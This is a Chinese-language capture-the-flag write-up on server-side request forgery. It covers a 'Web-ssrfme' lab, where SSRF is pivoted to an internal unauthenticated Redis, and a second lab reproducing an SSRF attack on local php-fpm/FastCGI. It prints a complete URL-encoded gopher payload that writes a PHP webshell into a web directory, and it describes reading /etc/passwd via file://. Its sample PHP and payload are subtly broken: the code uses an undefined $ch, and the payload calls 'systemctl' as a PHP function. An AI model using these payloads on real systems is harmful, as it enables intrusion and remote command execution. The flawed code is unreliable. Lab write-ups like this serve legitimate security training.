目录
Web-ssrfme
搭建环境
这里我们使用的是docker环境,只需要把docker压缩包下载到Ubuntu下解压后执行命令即可,
docker-compose up -d
但是我的环境中不知道是缺少什么东西,他始终抱着一个错误,如下
这个问题我一直解决不了,这个时候我找了一个朋友,和他要到了docker镜像压缩包,如下
只需要把这个放在Ubuntu的任意目录下,执行命令即可
之后查看docker的images
之后构建docker-compose.yml文件即可
version: '3'
services:
web:
image: ctf/ssrfme
ports:
- "8091:80"
redis:
image: web-ssrfme_redis
在这个文件目录下执行命令即可
docker-compose up
这样过后,我的环境终于搭建好了
分析
我们直接进入访问这个ip的8091
进入题目,直接把源码给了,那我们分析源码,源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测, 发现存在ssrf漏洞
目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:
我们查看phpinfo,查到了当前主机的内网ip为172.21.0.2,
我现在的想法是在这个ip下有没有其他端口开放,这里我们使用bp进行扫端口
在这个IP地址下只开放了80端口,那这个时候好像有些束手无策了,但是我们转换思想,为什么不能存在其他ip地址呢,这毕竟是内网,我们便可以探测该网段上存活的主机了,这里我手动探查
172.21.0.1,发现这个ip并没有什么反应
172.21.0.2,这个ip下重新打印了一次当前页面,仔细看后发现这个是我们当前主机ip,这就很正常了
172.21.0.3,在这个ip下,出现了不一样的结果,
我们使用bp扫一下开放那些端口
发现开放了6379,访问172.21.0.3:6379之后出现了一下界面
这是redis的报错,说明这台内网主机上还运行着redis服务。 这个时候第一反应就是redis未授权访问,接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。
经测试upload目录下是可写的,使用工具生成payload
因为是get传参,所以我们还需要在进行url code编码,
gopher://172.21.0.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520systemctl%2528%2527cat%2520/flag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A
就这样成功拿下flag了
ssrf攻击本地fastcgi漏洞复现
环境:Ubuntu+Nginx+php
环境搭建
代码
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);echo $responseText;
curl_close($curl);
?>
开始测试
?url=http://www.baidu.com
到这里我们发现可以成功返回百度页面,接下来可以利用ssrf漏洞可以使用的协议dict,file,gopher等,那我们就可以先利用file协议查看etc/passwd
但是我们查看/etc/shadow就不可,因为我们的权限不够,那我们使用dict协议看看服务器本地开启了哪些端口,经过测试,发现没有明显的反馈,那我们可以看一下页面返回值,来猜测
这里利用了Nginx中间件,那么我们就有理由认为他这里有php-fpm,也有理由认为使用了9000端口。那我们接下来利用gopher协议去伪造请求了,这里我使用了gopherus工具生成exp。
因为我们是get传参,那我们就需要进行url code编码后才可以
这里我们就看到命令执行成功了。